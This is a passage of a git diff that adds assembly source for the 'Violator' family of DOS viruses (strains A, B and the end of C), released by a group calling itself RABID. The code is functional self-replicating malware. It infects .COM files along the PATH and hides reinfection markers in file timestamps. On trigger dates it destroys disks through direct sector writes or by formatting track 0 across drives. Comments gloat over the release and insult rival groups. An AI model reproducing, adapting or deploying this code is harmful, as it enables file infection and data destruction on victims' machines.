CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 ;Set to read in 6 bytes + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + JMP SHORT find_first + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1CH ;Mask to remove all but seconds + CMP AL,1CH ;56 seconds -> already infected + JZ find_next ;If so, go find another file + +;****************************************************************************** +;Is the file too long? If it's 64000 bytes, then don't infect it +;****************************************************************************** + + CMP WORD PTR [SI+dta_len],(0FA00H-virlen) + ;Is the file too large +; +; Here we take into acount that the file will fit into even the largest legal +; COM file... +; + + JA find_next ;If too long, find another one + +;****************************************************************************** +;Is it too short? If it's 1500 bytes or smaller, then don't infect it +;****************************************************************************** + + CMP WORD PTR [SI+dta_len],5dcH + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace + ADD DX,SI + INT 21H + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp ;Quit, if read failed + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp ;Quit, if it didn't work + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + MOV AH,40H + MOV CX,virlen ;Length of virus, in bytes + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ;address of virus code in memory + INT 21H + JB fix_time_stamp ;Jump if error + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp ;Jump if error + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1CH + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H ;Move offset 100h into DI + PUSH DI ;Push DI onto the stack + XOR DI,DI ;Zero it out + RET 0FFFFH ;Jump to the location in DI +; +; This little trick is used to jump back to the beginning of the program after +; our JMP instruction. This is to return control to the host program. +; + +vir_dat EQU $ + +drv_ db 2 ;drv is the drive to be + ;nuked! (Drive C:) +intro_ DB 13,10 + db 'Violator Strain C - (C) 1991 RABID Int''nl Development Corp.' + db 13,10 +strike_ db 13,10 + db 'Violator strikes again...' + db 13,10,'$' +olddta_ DW 0 ;Old DTA offset +olddts_ DW 0 ;Old DTA segment +oldtim_ DW 0 ;Old Time +oldate_ DW 0 ;Old date +oldatt_ DW 0 ;Old file attributes +first3_ EQU $ + INT 20H ;3 byte equate to terminate program + NOP +jmpop_ DB 0E9H ;Start of JMP instruction +jmpdsp_ DW 0 ;The displacement part +envstr_ DB 'PATH=' ;Find this in the environment +fspec_ DB '*.COM',0 ;What to infect??? +pathad_ DW 0 ;Path address +namptr_ DW 0 ;Pointer to start of file name +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) ;Temporary DTA goes here +dtatim_ DW 0,0 ;Time stamp in DTA +dtalen_ DW 0,0 ;File length in the DTA +dtanam_ DB 0Dh dup (0) ;File name in the DTA + +lst_byt EQU $ + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H +drv = drv_ - vir_dat +intro = intro_ - vir_dat +strike = strike_ - vir_dat +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA + + CODE ENDS +END violator diff --git a/v/VIOLA.ASM b/v/VIOLA.ASM new file mode 100755 index 0000000..1333450 --- /dev/null +++ b/v/VIOLA.ASM @@ -0,0 +1,462 @@ +;****************************************************************************** +; Violator Strain A Source Code +;****************************************************************************** +; +; (May/1/1991) +; +; Well, in memory of the first anniversary of writing Violator, I have decided +; to release it's source code publicly. +; +; This is the source code to the ORIGINAL Violator or DDrUS virus. It was set +; to go off on June 22nd, 1990. The significance of this date and the name +; Violator, was that my favourite group, Depeche Mode, were comming to Toronto +; to perform their "World Violator Tour" on that date. +; +; This virus, as you can clearly see, is a base hack of the Vienna virus. The +; only thing I took out of the Vienna virus was the original scan string, and +; added date check routines as well as the INT 26 format routine. Other than +; that, this virus is pretty much like the original Vienna virus. +; +; In any event, have fun with this source code, but please keep in mind, that +; RABID does not condone the modification of this virus further in order to +; create even more raging, destructive viruses. This source is being provided +; to you in order to see how easy it is to modify an existing virus into an +; instrument of destruction. Also, RABID accepts no responsibility for damage +; which may be wrought (material or immaterial, financial or personal, you get +; the idea...) through the spreading of this source code. +; +; At this point in time, I'd wish to express greetings to several people. +; +; To the Dark Avenger, for releasing "Eddie" source code. We have greatly +; improved our programming prowess through analysis of your source code. +; (It wasn't that bad, despite all your self-scorning negative comments about +; effectiveness of certain procedures) +; Keep up the great work... +; BTW: Hope you didn't mind RABID Avenger too much. We did spread the sucker +; some more... +; +; To YAM (Youth Against McAfee). Haha! Nice name. Too bad you can't program in +; anything other than PASCAL or QuickBASIC. +; +; To John McAfee and Associates. Keep up the great work with your SCAN and +; CLEAN programs. But remember, if it wasn't for people like us, you wouldn't +; be where you are now... (BTW: How'dya like Violator B4? Did you get our +; message, despite the bug in the ANSI routines? >SMOOCH< (hehe)) +; +; To Mark Washburn. V2P6 is excellent. We love the source code... (Yes! We have +; it as well...) Keep up the great work, even if it is for research purposes. +; +; To Eric Omen (DSZ Author). Sorry about the Strain B4 bit. It wasn't our +; doing. You can blame L.o.L. for that... +; +; To L.o.L. Get real lives you pre-pubesent assholes. Your group sucks! What +; good comes by releasing a doc on 500 ways to crash Emulex, and claiming that +; you know the backdoors to it, and other BBS software. Yup. Just keep going to +; those Beverly Hills Snob Private schools and think you'll get somewhere in +; the world. +; +; To Slave Lord. Take your precious group and shove it up your ass sideways. +; Your cracks suck man! A friend of mine who attended COMDEX last year can +; sum up the majority of your group in one word. GEEKS! INC rules and it +; always will. Keep on dreaming... We eat assholes like you for breakfast... +; Need we even mention how many times we crashed Slave Den last year??? +; 'Nuff said... +; +; To PCM2. Where the hell are you man? Get working guy... +; +; And to all other virus writers out there who remain annonomous. Keep up the +; great work. McFee wouldn't be where he is now unless it wansn't for people +; like us. (He should be greatfull... +; +; Take care guys... And watch out. We're everywhere... +; +;****************************************************************************** +; +; -=THE=- +; +; The RABID International Development Corp. +; ----------------------------------------- +; Big hey-yo's to: FF, TJA, TM, PT, and MM. +; +; +; "...take heed that no man deceive you. For many shall come in my name, +; saying I am Christ; and shall deceive many. And ye shall hear of wars and +; rumours of wars: see that ye be not troubled: for all these things must come +; to pass, but the end is not yet. For nation shall rise against nation, and +; kingdom against kingdom: and there shall be famines, and pestilences, and +; earthquakes, in divers places. All these are the beginning of sorrows." +; (Matthew 24:4-9) +; +; The tenth day of Tishri shall fall upon October 9th, 2000. Revelation will +; be fulfilled. +; +; We're getting there unless those bastards in power do something to save this +; Earth we live on. +; +; Nostradamus prophesised that we may follow one of two paths. One to harmony, +; or one to destruction. Which path will we follow? +; +; Think about it. +; +;****************************************************************************** + + + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +VCODE: JMP virus + + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + +v_start equ $ + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV CX,3 + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + mov ah,30h + int 21h + cmp al,0 + JnZ dos_ok + JMP quit + +dos_ok: PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + POP ES + MOV DX,dta ;Offset of new DTA in virus data area +; NOP ;MASM will add this NOP here + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + JMP year_check + +year_check: + mov ah,2ah + int 21h + cmp cx,1990 + jge month_check + jmp find_path + +month_check: + mov ah,2ah + int 21h + cmp dh,6 + jge day_check + jmp find_path + +day_check: + mov ah,2ah + int 21h ; Set date to June 22nd, 1990 + cmp dl,22 + jge alter + jmp find_path + +alter: + mov al,1 ; Set for Drive 'B:' + mov cx,1 ; Change to 'MOV AL,2' for drive C: + mov dx,00 + mov ds,[di+55] + mov bx,[di+99] + int 26h + jmp find_path + + +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc +; NOP ;MASM will add this NOP here + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + JMP SHORT find_first + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + AND DH,7 + JMP infect + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp ;Quit, if read failed + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp ;Quit, if it didn't work + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + MOV AH,40H + MOV_CX virlen ;Length of virus, in bytes + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + JB fix_time_stamp ;Jump if error + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp ;Jump if error + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc +; NOP ;MASM will add this NOP + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH + +vir_dat EQU $ + +intro db 13,10,' DDrUS (C) - 1990 $',13,10 +olddta_ DW 0 ;Old DTA offset +olddts_ DW 0 ;Old DTA segment +oldtim_ DW 0 ;Old Time +oldate_ DW 0 ;Old date +oldatt_ DW 0 ;Old file attributes +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H ;Start of JMP instruction +jmpdsp_ DW 0 ;The displacement part +fspec_ DB '*.COM',0 +pathad_ DW 0 ;Path address +namptr_ DW 0 ;Pointer to start of file name +envstr_ DB 'PATH=' ;Find this in the environment +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) ;Temporary DTA goes here +dtatim_ DW 0,0 ;Time stamp in DTA +dtalen_ DW 0,0 ;File length in the DTA +dtanam_ DB 0Dh dup (0) ;File name in the DTA + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA + + CODE ENDS +END VCODE diff --git a/v/VIOLB.ASM b/v/VIOLB.ASM new file mode 100755 index 0000000..8ea7448 --- /dev/null +++ b/v/VIOLB.ASM @@ -0,0 +1,394 @@ +;***************************************************************************** +; +; Violator - Strain B +; +;***************************************************************************** +; +; (Aug/09/90) +; +; Development Notes: +; +; I encountered several errors in the original Violator code which I +; corrected in this version. Mainly, the INT 26 routine to fuck the +; disk. It seems that the routine would crash right after the INT 26 +; was executed and the whole program would die. I have since fixed +; this problem in this version with an INT 13, AH 05 (Format Track) +; command. This works better than the subsequent INT 26. +; +; +;***************************************************************************** +; +; Written by - The High Evolutionary - +; RABID Head Programmer +; +; Revised by: Onslaught +; No affiliation with rabId +; +; Copyright (C) 1990 by RABID Nat'nl Development Corp. +; +;***************************************************************************** + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H ; Set ORG to 100H plus our own + +VCODE: JMP virus + + NOP + NOP + NOP ;15 NOP's to place JMP Header + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat + CLD + MOV SI,DX + ADD SI,first_3 + MOV CX,3 + MOV DI,OFFSET 100H + REPZ MOVSB + MOV SI,DX + MOV AH,30H + INT 21H + CMP AL,0 ;Quit it it's DOS 1.0 + JNZ dos_ok + JMP quit + +dos_ok: PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + MOV DX,dta + ADD DX,SI + MOV AH,1AH + INT 21H + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + JMP year_check + +year_check: + MOV AH,2AH ;Get date info + INT 21H ;Call DOS + CMP CX,1990 ;Check to see if the year is 1990 + JGE month_check ;If greater or equal, check month + JMP find_path ;If not, go on with infection + +month_check: + MOV AH,2AH ;Get date info + INT 21h ;Call DOS + CMP DH,10 ;Check to see if it is September + JGE day_check ;If greater or equal, check day + JMP find_path ;if not, go on with infection + +day_check: + MOV AH,2Ah ;Get date info + INT 21H ;Call DOS + CMP DL,31 ;Check to see if it is the 4th + JGE multiplex ;If yes, then nuke drives A:-Z: + JMP find_path ;If not, then go on with infection + +multiplex: + MOV AL,cntr ;Counter is the drive to kill + CALL alter ;Go and kill the drive + ;25 is drive Z: + CMP cntr,25 ;Is (cntr) 25 ? + JE find_path ;Go on with infection + INC cntr ;Add one to (cntr) + LOOP multiplex ;Loop back up to kill next drive + +alter: + MOV AH,05 ;Format Track + MOV CH,0 ;Format track 0 + MOV DH,0 ;Head 0 + MOV DL,cntr ;Format for drive in (cntr) + INT 13h ;Call RWTS + RET ;Return up for next drive + +find_path: + POP SI + PUSH SI + ADD SI,env_str + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB +; +; The JNZ line specifies that if there is no PATH present, then we will go +; along and infect the ROOT directory on the default drive. +; + JNZ find_path ;If not path, then go to ROOT dir + LOOP check_next_4 ;Go back and check for more chars + POP SI ;Load in PATH again to look for chars + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc ;Put the filename in wrk_spc + MOV BX,SI + ADD SI,wrk_spc + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH + MOV DI,SI + MOV SI,ES:[DI+path_ad] + ADD DI,wrk_spc ;DI is the file name to infect! (hehe) + + +move_subdir: + LODSB ;To tedious work to move into subdir + CMP AL,';' ;Does it end with a ; charachter? + JZ moved_one ;if yes, then we found a subdir + CMP AL,0 ;is it the end of the path? + JZ moved_last_one ;if yes, then we save the PATH + STOSB ;marker into DI for future reference + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;BX is where the virus data is + POP DS ;Restore DS so that we can do stuph + MOV [BX+path_ad],SI ;Where is the next subdir? + NOP + CMP CH,'\' ;Check to see if it ends in \ + JZ slash_ok ;If yes, then it's OK + MOV AL,'\' ;if not, then add one... + STOSB ;store the sucker + + +slash_ok: + MOV [BX+nam_ptr],DI ;Move the filename into workspace + MOV SI,BX ;Restore the original SI value + ADD SI,f_spec ;Point to COM file victim + MOV CX,6 + REPZ MOVSB ;Move victim into workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX is ... THE VICTIM!!! + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + JMP SHORT find_first + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1EH ;Mask to remove all but seconds + CMP AL,1EH ;60 seconds + JZ find_next + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] + PUSH SI + ADD SI,dta_nam + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV [SI+old_att],CX + MOV AX,OFFSET 4301H + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV AX,OFFSET 3D02H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + JNB opened_ok + JMP fix_attr + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + AND DH,7 + JMP infect + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp + CMP AX,3 + JNZ fix_time_stamp + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV CX,AX + SUB AX,3 + MOV [SI+jmp_dsp],AX + ADD CX,OFFSET c_len_y + MOV DI,SI + SUB DI,OFFSET c_len_x + + MOV [DI],CX + MOV AH,40H + MOV_CX virlen + MOV DX,SI + SUB DX,OFFSET codelen + INT 21H + JB fix_time_stamp + CMP AX,OFFSET virlen + JNZ fix_time_stamp + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV AH,40H + MOV CX,3 + MOV DX,SI + ADD DX,jmp_op + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] + MOV CX,[SI+old_tim] + AND CX,OFFSET 0FFE0H + OR CX,1EH + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] + MOV DX,wrk_spc + ADD DX,SI + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + POP CX + XOR AX,AX ;XOR values so that we will give the + XOR BX,BX ;poor sucker a hard time trying to + XOR DX,DX ;reassemble the source code if he + XOR SI,SI ;decides to dissassemble us. + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH ;Return back to the beginning + ;of the program + +vir_dat EQU $ + +intro db '.D$^i*&B)_a.%R',13,10 +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +count_ DW 0 +cntr DB 2 ; Drive to nuke from (C:+++) +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +fspec_ DB '*.COM',0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +lst_byt EQU $ +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - 